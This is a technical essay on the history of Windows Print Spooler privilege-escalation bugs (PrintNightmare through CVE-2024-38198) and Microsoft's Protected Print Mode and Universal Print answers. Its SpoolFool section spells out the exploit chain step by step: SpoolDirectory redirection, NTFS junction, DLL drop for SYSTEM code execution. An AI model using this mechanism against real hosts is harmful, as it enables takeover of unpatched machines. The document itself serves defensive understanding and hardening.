The @cube0x0 GitHub repository carries the artifact of the rename-mid-disclosure chaos in its very name. The repository is called cube0x0/CVE-2021-1675. The vulnerability it actually exploits is CVE-2021-34527. The README's first paragraph clarifies: "Impacket implementation of the PrintNightmare PoC originally created by Zhiniang Peng (@edwardzpeng) and Xuefeng Li (@lxf02942370). Tested on a fully patched 2019 Domain Controller" [@cube0x0-cve-2021-1675].The repository-name-versus-CVE mismatch is a small artifact of the disclosure chaos, but it caused real downstream confusion. Detection rule authors had to handle both names. SigmaHQ's Zeek-on-the-wire rule for the wire-level driver-install primitive lists both RpcAddPrinterDriverEx and RpcAsyncAddPrinterDriver precisely because the entry point split between the two CVEs [@sigma-cve-2021-1675-zeek].

The July 6 emergency patch (KB5004945) added the access check to MS-PAR's RpcAsyncAddPrinterDriver in addition to MS-RPRN's RpcAddPrinterDriverEx. Microsoft's NVD entry for CVE-2021-34527 records the residual configuration risk verbatim:

Note: "Having NoWarningNoElevationOnInstall set to 1 makes your system vulnerable by design." -- Microsoft, NVD entry for CVE-2021-34527 [@nvd-cve-2021-34527]

CISA's response was Emergency Directive 21-04, issued July 13, 2021. The directive mandated that federal civilian agencies disable the Print Spooler service on all Microsoft Active Directory domain controllers by 11:59 PM EDT on Wednesday, July 14, 2021 [@cisa-ed-21-04]. The framing in CISA's own words was direct: "exploitation of the vulnerability allows an attacker to remotely execute code with system level privileges enabling a threat actor to quickly compromise the entire identity infrastructure of a targeted organization" [@cisa-ed-21-04].

ED 21-04 is narrower than the press summaries suggest. It applies only to Active Directory domain controllers. It does not require disabling Spooler on every Windows endpoint in a federal agency, only on the hosts where the bug's domain-takeover impact is largest. CISA closed ED 21-04 in January 2026 and folded its required actions into BOD 22-01 (the Known Exploited Vulnerabilities catalogue), but the operational guidance survived intact: disable Spooler on DCs, patch elsewhere. The DC-disabled baseline is still the federal civilian default for agencies that have not migrated to Universal Print [@cisa-ed-21-04]. We come back to this in section 10.4.

The June 8 patch covered one RPC entry point. The July 6 patch covered the other. Neither patch changed the architectural primitive. Within five weeks, a third primitive (not an RPC entry point but a registry default) was already failing.

4.3 Generation 3: CVE-2021-34481, KB5005010, KB5005652, and the September Policy Rewrite

On August 10, 2021, Microsoft shipped the cumulative update that flipped the RestrictDriverInstallationToAdministrators default from 0 to 1. On September 14, 2021, it shipped the knowledge-base article that documented why the previous defaults could not be saved.

CVE-2021-34481 had already been published as a Print Spooler local EoP on July 15, 2021, classified by NVD as CWE-269 Improper Privilege Management [@nvd-cve-2021-34481]. The August 10 KB5005010 / KB5005033 cumulative updates closed it and flipped the default value for the HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint\RestrictDriverInstallationToAdministrators registry value from 0 to 1 [@kb-5005010-topic]. NVD's entry for CVE-2021-34481 carries the cross-reference verbatim: "UPDATE August 10, 2021: Microsoft has completed the investigation and has released security updates to address this vulnerability... This security update changes the Point and Print default behavior; please see KB5005652" [@nvd-cve-2021-34481].

The five-week opt-in window between July 6 and August 10, 2021, is the most interesting failure in the entire patch cascade. Hosts that received KB5004945 but had no Group Policy push for the new value were still exploitable through Point and Print elevation suppression even with the emergency patch applied. The lesson is structural. Opt-in safe defaults do not protect a real installed base.

On September 14, 2021, KB5005652 shipped. The article's title spells out its scope: "Manage new Point and Print default driver installation behavior (CVE-2021-34481)" [@kb-5005652-topic]. The article's most-quoted sentence is the most consequential one Microsoft has shipped about Print Spooler:

Note: KB5005652 says, in a customer-facing knowledge-base article, that there is no settings-tweak combination that gives you the same protection as flipping the new admin-only switch. That is Microsoft, in its own voice, naming the configuration surface as insufficient.

There is no combination of mitigations that is equivalent to setting `RestrictDriverInstallationToAdministrators` to 1. -- Microsoft, KB5005652, September 14, 2021 [@kb-5005652-topic] [@kb-5005652-help]

Read that sentence twice. Microsoft, in its own knowledge-base voice, said that no combination of the previously available configuration knobs added up to the protection the new admin-only restriction provided. The implication is that for the entire period from Windows NT 4 through August 10, 2021 (roughly twenty-three years), the configuration surface for Point and Print did not contain a setting that made the bug class go away. Tightening individual knobs got you somewhere short of the architectural answer. That is the verbatim concession the September article makes.

The same Patch Tuesday (September 14, 2021), Microsoft also patched CVE-2021-36958, another Print Spooler RCE in the same family [@nvd-cve-2021-36958].The reporter attribution for CVE-2021-36958 remains disputed in the public record. Public consensus credits Victor Mata (Accenture Security FusionX) for the formal MSRC acknowledgment. Benjamin Delpy demonstrated public bypasses of the existing PrintNightmare mitigations through August 2021 that are most often cited as the immediate motivation for the September fix. We have not located a Microsoft-primary source that resolves the question, and we cite both names rather than collapse them.

Three patch waves into PrintNightmare, Microsoft had written down, in a customer-facing knowledge-base article, that no configuration-surface response was equivalent to the architectural fix. The architectural fix did not yet exist. SpoolFool was four months away.

4.4 Generation 4: CVE-2022-21999 (SpoolFool, February 8, 2022)

On February 8, 2022, Oliver Lyak (handle @ly4k_, trailing underscore) of SafeBreach Labs published SpoolFool. The exploit is a Print Spooler local privilege escalation that abuses the SpoolDirectory registry value plus an NTFS junction [@ly4k-spoolfool]. The primitive was the same one Shafir and Ionescu had described eighteen months earlier in CVE-2020-1337. The patch surface had moved. The architectural primitive had not.

The mechanism, walked through carefully: each per-printer registry key under HKLM\System\CurrentControlSet\Control\Print\Printers\<printer-name> has a SpoolDirectory value. The SYSTEM-context spooler reads that value, calls CreateDirectory on the path, and then writes spool files into the resulting directory. The SpoolDirectory value is writable by an authenticated user. The exploit therefore composes three steps: (1) set SpoolDirectory to an attacker-chosen path, (2) plant an NTFS junction or symbolic link at that path pointing into a SYSTEM-writable directory, (3) trigger a printer reload to cause the SYSTEM-context spooler to create the destination directory and drop attacker-controlled files there [@ly4k-spoolfool]. NVD classifies the bug as CWE-59 Link Following [@nvd-cve-2022-21999].

Anti-regression note for readers familiar with the early coverage: SpoolFool is a Print Spooler arbitrary-file-write LPE. It is not a Win32k integrity-level bypass. Win32k is the GUI subsystem and is uninvolved in this bug class. The researcher handle is @ly4k_ (Oliver Lyak), not @jonas_lyk (a distinct security researcher).

From arbitrary file write to SYSTEM code execution is the next step. Lyak's repository demonstrates a DLL-drop into a path that a SYSTEM-context process will load on next start, then a service restart, then SYSTEM-context execution of the attacker's DLL [@ly4k-spoolfool]. The end-to-end primitive is the same shape as the post-PrintDemon exploit chain from August 2020.

The architectural moral: patching RpcAddPrinterDriverEx, patching RpcAsyncAddPrinterDriver, and flipping the Point and Print elevation default did not change the fact that the spooler runs as SYSTEM and operates on user-controlled filesystem paths. SpoolFool is the bug-fixing-bug exhibit for the section 5 architectural-concession argument. Four patches into the cycle, the same TOCTOU primitive that the August 2020 PrintDemon bypass had used was still exploitable eighteen months later, against a different callsite, against the same SYSTEM-context spooler.

4.5 Generation 5: CVE-2024-38198 (August 13, 2024 Patch Tuesday)

On August 13, 2024 Patch Tuesday, Microsoft patched a Windows Print Spooler Elevation of Privilege Vulnerability. The CVSS v3.1 base score was 7.5, with vector AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H [@wiz-cve-2024-38198] [@rapid7-cve-2024-38198]. The CWE class was 345, Insufficient Verification of Data Authenticity [@wiz-cve-2024-38198]. The exploit primitive required winning a race condition. No public researcher attribution exists for it. There is, as of mid-2026, no public PoC.

The framing here has to be precise. CWE-345 is "Insufficient Verification of Data Authenticity"; CWE-362 is "Race Condition." These are two different classes. The exploit happens to require winning a race condition to be exploitable; that is a statement about how hard it is to exploit, not a statement about the underlying bug class. Microsoft (per Wiz, citing the MSRC advisory) classified the underlying defect as CWE-345.The CWE-345 attribution for CVE-2024-38198 is INFERRED via Wiz's vulnerability database, which states verbatim that "the vulnerability has been classified under CWE-345 (Insufficient Verification of Data Authenticity) by Microsoft Corporation" [@wiz-cve-2024-38198]. The MSRC update-guide page is a JavaScript single-page application, so verification of the CWE attribution by automated tools like web_fetch runs through Wiz's vulnerability database as the one-step intermediary; a reader with a browser can confirm the same classification directly on the MSRC page. Rapid7's vulnerability database carries the per-SKU KB list and confirms the August 13, 2024 publication date [@rapid7-cve-2024-38198].

Why this CVE matters for the section 5 argument: it is the empirical proof point that the spooler was still producing novel-class EoP primitives three years after PrintNightmare, eight months after Microsoft announced WPP in the December 2023 MORSE blog [@ms-blog-secure-print-experience-4002645], and seven weeks before WPP shipped opt-in.

Four patch waves across three years. Five named CVEs in the patch tree, plus four more in the pre-history. Nine independently classed Print Spooler SYSTEM-code-execution primitives in fifteen years. The next section is about why Microsoft did not, and could not, ship a tenth patch that closed the class.

4.6 The Four-Generation Patch Tree, in One Diagram

The patch tree, mapped to the entry point each generation closed and the bypass each generation enabled:

flowchart TD G1["G1: June 8, 2021
RpcAddPrinterDriverEx
auth check added"] G2["G2: July 6, 2021
KB5004945 emergency
RpcAsyncAddPrinterDriver patched"] G3["G3: August 10, 2021
KB5005010 / KB5005033
RestrictDriverInstallationToAdmins default 0 to 1"] G3b["G3b: September 14, 2021
KB5005652
no settings combination is equivalent"] G4["G4: February 8, 2022
CVE-2022-21999 SpoolFool
SpoolDirectory + NTFS junction CWE-59"] G5["G5: August 13, 2024
CVE-2024-38198
CWE-345 race-condition-exploitable"] G1 --> G2 G2 --> G3 G3 --> G3b G3b --> G4 G4 --> G5 G5 --> EXIT["Architectural exit:
WPP / Universal Print
(section 5)"]

And the four-fix-strategy comparison matrix in scannable form:

Generation	CVE	Patch artifact	Attack surface closed	Attack surface left open	Time to documented bypass
G1	CVE-2021-1675	June 8 monthly patch	`RpcAddPrinterDriverEx` (MS-RPRN) low-priv path	`RpcAsyncAddPrinterDriver` (MS-PAR) low-priv path	~3 weeks
G2	CVE-2021-34527	KB5004945 (July 6-7 OOB)	Both RPC entry points	Point-and-Print elevation suppression (`NoWarningNoElevationOnInstall=1`)	~5 weeks (config-not-yet-flipped)
G3	CVE-2021-34481	KB5005010 / KB5005033 / KB5005652	Admin-only default for new printer driver install	Spool directory filesystem operations	~21 weeks (SpoolFool)
G4	CVE-2022-21999	February 2022 patch	`SpoolDirectory` reparse-point race	Other spooler filesystem operations and authenticity checks	~30 months (CVE-2024-38198)
G5	CVE-2024-38198	August 13, 2024 patch	CWE-345 authenticity gap (race-condition exploitable)	Architectural primitive itself	(no public bypass as of June 2026)

Five subsections. Five entry points. One architectural primitive. The patches do not converge because they cannot.

5. The Architectural Concession: Why Microsoft Cannot Sandbox `spoolsv.exe`

An obvious question reading section 4 is: why does Microsoft not just sandbox spoolsv.exe? AppContainer exists. Win32 has had constrained-token processes since Windows 8. The Microsoft Office suite runs in low-trust containers. Why is the Print Spooler the exception?

5.1 The Naive Sandbox Proposal

The naive proposal is to run spoolsv.exe in an AppContainer with no SYSTEM token. The proposal fails for two reasons. The first is engineering. The spooler must register with the Service Control Manager, must coordinate with kernel-mode print components, and must accept inbound RPC over a system named pipe -- operations a fully constrained token does not permit. That problem is solvable; it costs engineering effort, but it has obvious answers (broker process, careful capability grants, custom token).

A Windows process sandboxing primitive introduced for the Universal Windows Platform that runs a process with a custom integrity level, a restricted token, and a set of explicitly granted capabilities. AppContainer-restricted processes cannot make network connections, read user files, or invoke APIs outside their capability set without explicit permission. Microsoft Edge content processes and many Windows Store apps run in AppContainers; legacy Win32 services typically do not.

The second reason is the back-compat constraint from section 2.3. The third-party driver DLLs in the installed base are signed and packaged to expect LocalSystem context. They use Win32 APIs that a constrained token cannot call. They write to filesystem locations a constrained token cannot reach. They register printer ports through interfaces that a fully sandboxed spooler could not host. The cost of the constrained-token migration is not the cost of changing one Microsoft binary. It is the cost of breaking, in the worst case, every Windows-compatible printer manufactured before 2024.Microsoft has never published a statement that AppContainer was explicitly evaluated and rejected for spoolsv.exe. The argument above is INFERRED from the absence of any constrained-token Spooler in any shipped Windows release, and from the MORSE blog's repeated framing of the third-party driver install base as the binding constraint [@ms-wpp-more-info]. The inference is well grounded but not directly stated.

5.2 PrintIsolationHost.exe as Partial Answer

Microsoft's first attempt to break the "DLL loaded inside spoolsv.exe" conjunct shipped with Windows 7 and Windows Server 2008 R2 (October 22, 2009) [@ms-print-spooler-architecture] [@ms-previous-versions-server-2008-R2]. It was called Printer Driver Isolation. The mechanism: third-party driver code can run in a sibling process called PrintIsolationHost.exe. The spooler talks to that process over IPC instead of loading the driver DLL into its own address space.

A sibling host process introduced in Windows 7 / Server 2008 R2 (October 22, 2009) that can load third-party printer driver code outside of `spoolsv.exe`. Drivers opt in via the `DriverIsolation` directive in their INF file: Microsoft's documentation enumerates two values, `2` ("the driver supports driver isolation") and `0` ("the driver does not support driver isolation"; the same effect as omitting the keyword) [@ms-printer-driver-isolation]. By default, `PrintIsolationHost.exe` runs as LocalSystem [@ms-printer-driver-isolation] [@ms-print-spooler-architecture]. The isolation is process isolation, not privilege isolation.

Three details matter for the section 5 argument. First, the isolation is process isolation, not privilege isolation: PrintIsolationHost.exe itself runs as LocalSystem. A bug in PrintIsolationHost.exe is still a SYSTEM bug, just in a different process. Second, the opt-in is the driver vendor's responsibility, set in the INF file's DriverIsolation directive [@ms-printer-driver-isolation]. By default, if the INF does not opt in, the spooler loads the driver in-process. Third, and most importantly: PrintIsolationHost.exe only hosts driver code at print time. It does not move the RPC server, the driver-installation flow (RpcAddPrinterDriverEx and RpcAsyncAddPrinterDriver), or the spool directory filesystem operations out of spoolsv.exe. The PrintNightmare entry points are all in code paths Printer Driver Isolation does not touch.

So Printer Driver Isolation existed for twelve years before PrintNightmare. It did not help. It addresses a different attack surface.

5.3 The MORSE Framing

In December 2023, the Microsoft Offensive Research and Security Engineering (MORSE) team and the Print team co-authored a Microsoft Security Blog post announcing what would become Windows Protected Print Mode. The blog and its companion Microsoft Learn pages contain two sentences that are load-bearing for the rest of this article.

The first sentence sets the cadence empirically:

Print bugs accounted for 9% of all cases reported to the Microsoft Security Response Center (MSRC) over the past three years. -- Microsoft, December 2023 [@ms-wpp-more-info] [@ms-blog-secure-print-experience-4002645]

The "over the past three years" qualifier matters. The 9% is a baseline measurement for 2020 through 2023, not a long-term steady-state rate. Without the qualifier, the number reads as a stable structural fact about Windows. With the qualifier, it reads as what it actually is: a measurement of the period during which the patch cascade documented in section 4 was running.

The second sentence is more consequential. Microsoft, in its own voice, names the architectural answer:

The ideal solution would be to remove drivers entirely and move the Spooler to a least privilege security model. -- Microsoft, MORSE / Print team [@ms-wpp-more-info]

Read that sentence in the context of the section 4 patch cascade. Microsoft is saying that the architectural answer to the bug class is not a better authorization check, not a tighter Point and Print policy, not a more aggressive default flip. It is to remove third-party drivers entirely and to move the spooler off LocalSystem. The enterprise version of the same document spells out the coverage expectation:

Windows protected print mode would mitigate over half of past reported security issues for Windows print. -- Microsoft, Windows Protected Print Mode for Enterprises [@ms-wpp-enterprises]

"Past reported security issues for Windows print" is a class. "Would mitigate over half" is a coverage statement at the class level, not at the bug level. WPP is a class mitigation; it is the architectural answer the patch cascade could not produce.

5.4 The Forced Parallel-Stack Answer

Here is where the argument turns. Microsoft did not ship one architectural answer. It shipped two. The reason is that neither one alone covers the back-compat envelope.

Universal Print is the cloud-hosted answer. It removes the local print queue, removes the local SYSTEM-context Spooler from the workflow entirely, and centralizes the print fan-out in Microsoft 365 [@ms-universal-print-whatis]. On a Universal-Print-only endpoint with the local Spooler service disabled, there is no \PIPE\spoolss exposed to a low-privilege user. The architectural primitive's conjunct (a) -- the low-privilege RPC entry -- simply does not exist on that host.

Windows Protected Print Mode is the local-stack answer. It keeps the local Spooler service but restructures it: most operations are deferred to a Spooler Worker process with a restricted token, and the spooler refuses to load any driver DLL that is not Microsoft-signed [@ms-wpp-more-info] [@ms-wpp-canonical]. The architectural primitive's conjuncts (b) (caller-influenced DLL load) and partially (c) (SYSTEM context, for per-user operations) are broken.

Neither answer covers the union of constraints that a real Windows fleet faces. Universal Print requires cloud connectivity, Microsoft 365 / Entra ID licensing, and per-printer service costs. It does not work offline. It does not work for specialty printers (industrial label printers, healthcare imaging printers, secure check printers) that have no IPP-class-compatible firmware. WPP requires Mopria-certified printers or the small set of Microsoft-signed drivers that ship inbox. It does not work for the same specialty-printer category. The two answers cover different threat models, different licensing models, and different operational realities.

Key idea: Windows Protected Print Mode and Universal Print are not redundant. They break different conjuncts of the architectural primitive, and together they cover what neither covers alone. The 2024 Windows print stack is a deliberate parallel architecture, not a transition state.

The WPP FAQ confirms the parallel-stack reading. When asked "Will Windows protected print mode ever be enabled by default?" the page answers verbatim: "Windows protected print mode will be enabled by default at a future date" [@ms-wpp-faq].The "future date" phrasing in the WPP FAQ is preserved verbatim because it carries the entire commitment. Microsoft has published deprecation milestones for third-party drivers (January 15, 2026; July 1, 2026; July 1, 2027) [@ms-end-of-servicing], but it has not committed to a date for WPP-on-by-default. As of June 2026, "at a future date" is still the only formal commitment.

5.5 The Conjunct Framing as Lead-in to Section 8

We can state the architectural argument compactly now and we will return to it formally in section 8. The architectural primitive has three conjuncts. (a) The service accepts low-privilege RPC. (b) It loads caller-influenced third-party DLLs. (c) It runs at SYSTEM. Any service of that shape produces a SYSTEM-execution primitive by construction. Microsoft's three shipped approaches each break exactly one conjunct:

flowchart LR PRIM["Architectural primitive
(a) low-priv RPC entry
(b) caller-influenced DLL load
(c) SYSTEM context"] EXITA["Break (a) low-priv RPC entry"] EXITB["Break (b) caller-influenced DLL load"] EXITC["Break (c) SYSTEM context"] PRIM --> EXITA PRIM --> EXITB PRIM --> EXITC EXITA --> UP["Universal Print (2021)
no local pipe spoolss"] EXITA --> CERT["Stop Spooler service
(CERT/CC 2021)"] EXITB --> WPPMOD["WPP module blocking (2024)
only Microsoft-signed drivers"] EXITC --> PIH["PrintIsolationHost (2009)
partial: still LocalSystem"] EXITC --> WPPWORKER["WPP Spooler Worker (2024)
restricted token, below SYSTEM IL"]

The remaining sections are about the design space Microsoft chose to occupy in 2024, why it occupies two points rather than one, and what is still missing in 2026 -- including, candidly, a satisfying answer for environments that cannot adopt either architectural exit.

6. State of the Art: Windows Protected Print Mode in 24H2

Windows Protected Print Mode shipped to Windows 11 24H2 on October 1, 2024 as an opt-in feature [@computerweekly-quocirca-wpp] [@ms-wpp-canonical]. As of June 2026 it is still opt-in. The WPP FAQ uses the verbatim phrase "at a future date" for when the default-on flip will happen [@ms-wpp-faq]. No date has been committed.

An opt-in Windows print stack introduced with Windows 11 24H2 (October 1, 2024) that exclusively uses the modern print stack, blocks all third-party printer drivers, runs normal spooler operations in a Spooler Worker process with a restricted token below SYSTEM integrity, and falls back to the inbox Microsoft IPP Class Driver for printer communication [@ms-wpp-canonical] [@ms-wpp-more-info]. Activation is by Group Policy ("Configure Windows protected print"), Intune (`./Device/Vendor/MSFT/Policy/Config/Printers/ConfigureWindowsProtectedPrint` via the Policy CSP for Printers [@ms-policy-csp-printers]), or registry [@ms-wpp-enterprises].

6.1 What WPP Changes

Microsoft's MORSE / Print team blog enumerates six concurrent changes [@ms-wpp-more-info]. Each one is interesting on its own; together they constitute the architectural exit.

Spooler Worker process with restricted token. Normal spoolsv.exe operations are deferred to a new Spooler Worker process. The worker runs with a restricted token that drops SeTcbPrivilege and SeAssignPrimaryTokenPrivilege and runs below SYSTEM integrity level. This is the operational form of "move the Spooler to a least privilege security model" from the MORSE quote.

The new Spooler Worker process has a new restricted token that removes many privileges such as SeTcbPrivilege, SeAssignPrimaryTokenPrivilege, and no longer runs at SYSTEM IL. -- Microsoft Learn, More information on Windows Protected Print Mode [@ms-wpp-more-info]

That sentence, taken verbatim from Microsoft's own architecture documentation [@ms-wpp-more-info] [@ms-wpp-more-info-wayback], is the most concrete claim Microsoft has shipped about how WPP breaks conjunct (c). Two privileges enumerated, one integrity level reduced. The legacy spoolsv.exe process is still SYSTEM; the worker that does the per-job work is not.

Module blocking. APIs that previously allowed third-party module loading (AddPrintProviderW and similar) are gated by a module-blocking policy. The MORSE document states the new policy verbatim: "only Microsoft Signed binaries required for IPP are loaded" [@ms-wpp-more-info].

XPS rendering per-user. XPS rendering, historically a source of memory-corruption bugs in PrintFilterPipelineSvc, runs per-user instead of as SYSTEM. A memory-corruption bug in the XPS parser now compromises a user, not the machine.

Process hardening on the Spooler Worker. The Spooler Worker process is built with Control Flow Guard, Control Flow Enforcement Technology (Intel CET shadow stack), Arbitrary Code Guard, Child Process Creation Disabled, and Redirection Guard enabled [@ms-wpp-more-info] [@msrc-redirectionguard-blog]. The MORSE blog explicitly says why the legacy spooler could not enable these mitigations: "many print drivers are decades old and are incompatible with modern security mitigations" [@ms-wpp-more-info].

Point and Print restricted. Point and Print can configure an IPP printer but cannot install a third-party driver. The MORSE document is verbatim: "Windows protected print mode prevents Point and Print from ever installing third-party drivers" [@ms-wpp-more-info]. That sentence is the architectural answer to the Generation 3 patch wave from section 4.3.

Fallback to inbox IPP class driver. Printing falls back to the Microsoft IPP Class Driver that ships with Windows. The driver works with Mopria-certified printers and with the Microsoft-signed driver subset [@mopria-certified-products] [@ms-modern-print-platform].

6.2 Mapping WPP to the Three Conjuncts

WPP breaks conjunct (b) by refusing to load anything that is not Microsoft-signed. It weakens conjunct (c) by moving the bulk of operations into a Spooler Worker with a restricted token below SYSTEM integrity. The low-privilege RPC entry (conjunct a) is preserved by design: the RPC interface still exists, clients still talk to it, but what they can ask the service to do is reduced.

That last asymmetry matters. WPP does not delete the \PIPE\spoolss endpoint. A WPP-enabled host still answers RpcAddPrinterDriverEx calls; it just refuses to load an unsigned driver in response. Detection rules that watched for the RPC call itself (the SigmaHQ Zeek-on-the-wire rule, for instance [@sigma-cve-2021-1675-zeek]) still see traffic on WPP hosts; rules that watched for the resulting unsigned DLL load (the SigmaHQ image-load rule [@sigma-cve-2021-1675-win-spooler]) should see audit events instead.

6.3 The Compatibility Envelope

WPP requires either a printer that the inbox IPP class driver can drive (a Mopria-certified printer in practice) or one of the small set of Microsoft-signed drivers. The Mopria Alliance certified-products directory lists a multi-vendor catalog of printers across Brother, Canon, HP, Epson, Lexmark, Xerox, and others [@mopria-certified-products]. The installed base of Mopria-certified printers is large.The Mopria Alliance does not publish a single official total install-base count. The certified-products directory is the canonical inventory [@mopria-certified-products], and the industry-analyst framing in the December 2023 MORSE blog points to a multi-vendor catalog "covering many of the most common printer brands sold worldwide" [@ms-blog-secure-print-experience-4002645]. We report the order of magnitude (industry-wide) rather than a brittle exact count.

Printers that require vendor-specific v3 drivers are not WPP-compatible by default. Industrial label printers (Zebra, Honeywell, SATO, TSC, Dymo) are the painful case. Their command languages (ZPL, EPL) are not part of the IPP class driver's repertoire [@ezeep-label-printers-wpp]. ezeep's June 2026 writeup is blunt: "Most thermal label printers... are not Mopria-certified, so they stop working when Windows Protected Print Mode is enforced. ZPL and EPL are not part of the IPP spec the IPP class driver speaks" [@ezeep-label-printers-wpp]. Three paths are open: keep WPP disabled on label workstations via GPO, refresh hardware to IPP-capable models, or use a cloud-rendered alternative.

Vendors that want WPP compatibility without a full IPP firmware conversion can ship Print Support Apps. Brother is one of the first vendors to publish a PSA [@brother-print-support-app]. Lexmark's vendor primary on the WPP transition documents the same path [@lexmark-wpp-support].

The Microsoft-supplied inbox driver that uses the Internet Printing Protocol (IPP) to communicate with printers that implement the Mopria-Alliance-certified IPP everywhere subset. WPP-enforced clients use this driver instead of a vendor-specific driver. Printers must be Mopria-certified (or implement Mopria-compatible IPP) for the inbox driver to drive them [@mopria-certified-products] [@ms-modern-print-platform]. The two pre-WPP Windows printer driver packaging models. v3 (Windows 2000 era) loads driver render code into the spooler process by default. v4 (Windows 8 era) is XPS-based, packaged for portability across architectures, and has a more limited print processor model. WPP deprecates both in favor of the inbox IPP class driver (or, transitionally, vendor Print Support Apps) [@ms-print-spooler-architecture] [@ms-end-of-servicing].

6.4 Deployment Surfaces and Detection Signals

WPP's enable / disable control is a binary two-state CSP. The Policy CSP page documents Printers/ConfigureWindowsProtectedPrint as accepting 0 (disabled, the 2026 default) or 1 (enabled), with no audit / monitor intermediate enum [@ms-policy-csp-printers]. The corresponding Group Policy path is "Computer Configuration > Administrative Templates > Printers > Configure Windows protected print" [@ms-wpp-enterprises]. CIS Benchmarks v5.0.1 (Windows 11) and v1.0.0 (Server 2025) treat the setting as a Level-2 hardening recommendation with the same binary registry value [@tenable-cis-w11-l2] [@tenable-cis-server-2025-l2].

This is an important correction to a piece of folk wisdom about WPP. The Windows kernel and AppLocker have audit / enforce modes; AppControl for Business has audit / enforce modes; AMSI has logging tiers. WPP does not. Microsoft did not ship an "audit" enum on ConfigureWindowsProtectedPrint. Administrators who want pre-enforcement telemetry have to instrument it themselves, either by reading the existing Microsoft-Windows-PrintService/Admin event log (which carries Point and Print failures and module-load refusals regardless of whether WPP is on) or by deploying WPP to a pilot ring and watching the same log on those pilot machines. The deployment pattern is rollout rings, not an in-product audit mode.

Because there is no in-product audit mode, the pre-enforcement signal is the existing print-services event log. The Microsoft-Windows-PrintService/Admin channel records driver-load failures, Point and Print restrictions, and plug-in load failures. Splunk Research's spoolsv.exe rule pack covers PrintService Admin Event ID 808 (plug-in load failure) paired with security log Event ID 4909 [@splunk-research-spoolsv-plugin-fail], and Event ID 316 for driver-add operations [@splunk-printnightmare-story] [@splunk-research-printnightmare-driver]. Redirection Guard mitigation events land in Microsoft-Windows-Security-Mitigations/Operational [@msrc-redirectionguard-blog]. The diagnostic Event ID 4098 (in the Application log) is the workhorse signal for Point and Print restrictions and predates WPP [@ms-event-ids-point-print].

Note: The ConfigureWindowsProtectedPrint CSP has two states: 0 (disabled) and 1 (enabled). There is no in-product audit / monitor mode. The right deployment pattern is rings: pilot, broad-pilot, production. Pilot a small ring of representative endpoints with WPP enforced and watch Microsoft-Windows-PrintService/Admin events 316, 808, and 4098 for failed driver loads and Point and Print restrictions. Identify the printers that would fail. Decide between a fleet hardware refresh, a transitional Print Support App, or an exclusion list. Then expand the ring.

The probe below models a WPP-state PowerShell script in JavaScript for the runtime. It pretends the four signals (WPP policy state, Redirection Guard, recent PrintService Admin events, IPP class driver availability) are already retrieved; in production the values come from the Group Policy resultant set, Get-ProcessMitigation, Get-WinEvent, and Get-PrinterDriver.

{` // Original PowerShell equivalents: // $wppPolicy = (Get-ItemProperty 'HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Printers') // .ConfigureWindowsProtectedPrint # 0 = disabled, 1 = enabled // $rg = (Get-ProcessMitigation -Name spoolsv.exe).RedirectionTrust // $events = Get-WinEvent -LogName 'Microsoft-Windows-PrintService/Admin'
// -MaxEvents 200 | Where-Object { $.Id -in 316,808,4098 -and
// $.TimeCreated -ge (Get-Date).AddDays(-7) } // $ipp = (Get-PrinterDriver -Name 'Microsoft IPP Class Driver') -ne $null

const state = { wppPolicy: 0, // 0 = disabled, 1 = enabled (binary CSP) redirectionGuard: 'Enabled', // 'Disabled' | 'Audit' | 'Enabled' recentPrintServiceFailures: 14, // count of EventID 316/808/4098 in last 7d inboxIppDriverPresent: true, deploymentRing: 'pilot' // 'pilot' | 'broad-pilot' | 'production' };

console.log(classify(state)); `}

6.5 Redirection Guard

Redirection Guard is an independent process mitigation that ships separately from WPP but composes with it. It first arrived in Windows 11 22H2 in late 2023 and was the subject of a June 2025 MSRC blog post that documents its design [@msrc-redirectionguard-blog]. The mitigation is documented in the PROCESS_MITIGATION_REDIRECTION_TRUST_POLICY Win32 API structure [@ms-redirection-trust-policy] and is invoked through Set-ProcessMitigation -Name spoolsv.exe -Enable RedirectionGuard [@ms-set-processmitigation].

The mechanism: a process opted into Redirection Guard refuses to follow filesystem junctions or symbolic links created by non-administrator users. The MSRC blog frames the scope plainly: "Junctions remain the biggest existing gap. Outside of a sandbox, they can be created by standard users and target any folder on the system" [@msrc-redirectionguard-blog]. The Risky Business bulletin on the launch documents the empirical impact: of forty-two filesystem-path-redirection CVEs Microsoft patched in 2024, thirty-two used attacker-created junctions and could have been blocked by Redirection Guard had it been in place [@risky-biz-redirectionguard].

Redirection Guard is the closest thing to a post-SpoolFool architectural fix in the legacy stack. WPP composes with it; a WPP-enabled host has both Redirection Guard on the legacy spoolsv.exe process and the additional CFG / CET / ACG / Child Process Creation Disabled / Redirection Guard set on the Spooler Worker [@ms-wpp-more-info].

6.6 A Failed PrintNightmare Attempt Against a WPP-Enabled Host

The sequence below shows what happens when a low-privilege user attempts the Generation 1 PrintNightmare exploit against a WPP-enabled host. The RPC entry point is still answered; the module load is refused; the audit log captures the attempt; the elevation does not happen.

sequenceDiagram participant U as Low-priv user participant P as PIPE spoolss endpoint participant S as spoolsv.exe (parent) participant W as Spooler Worker (restricted token) participant L as Module loader participant V as Signature check participant E as PrintService Admin log U->>P: RpcAddPrinterDriverEx (unsigned DLL) P->>S: dispatch RPC call S->>W: forward driver-install to worker W->>L: load requested driver DLL L->>V: verify signature V-->>L: reject (not Microsoft-signed) L-->>W: load refused W->>E: write audit event 4098 (Point and Print failure) W-->>S: return access-denied S-->>U: STATUS_ACCESS_DENIED Note over U,W: No code runs as SYSTEM. Defender sees attempt in PrintService Admin.

WPP is a partial answer that covers a large fraction of the threat model and a smaller fraction of the printer install base. The size of that smaller fraction -- specialty printers without IPP-class compatibility -- is the largest open practical problem in 2026 Print Spooler security.

7. Competing Answers: Universal Print versus Windows Protected Print Mode

Microsoft did not ship one architectural answer to Print Spooler. It shipped two. They are not redundant. They cover different threat models and different operational realities, and they are designed to coexist.

7.1 Universal Print at One Glance

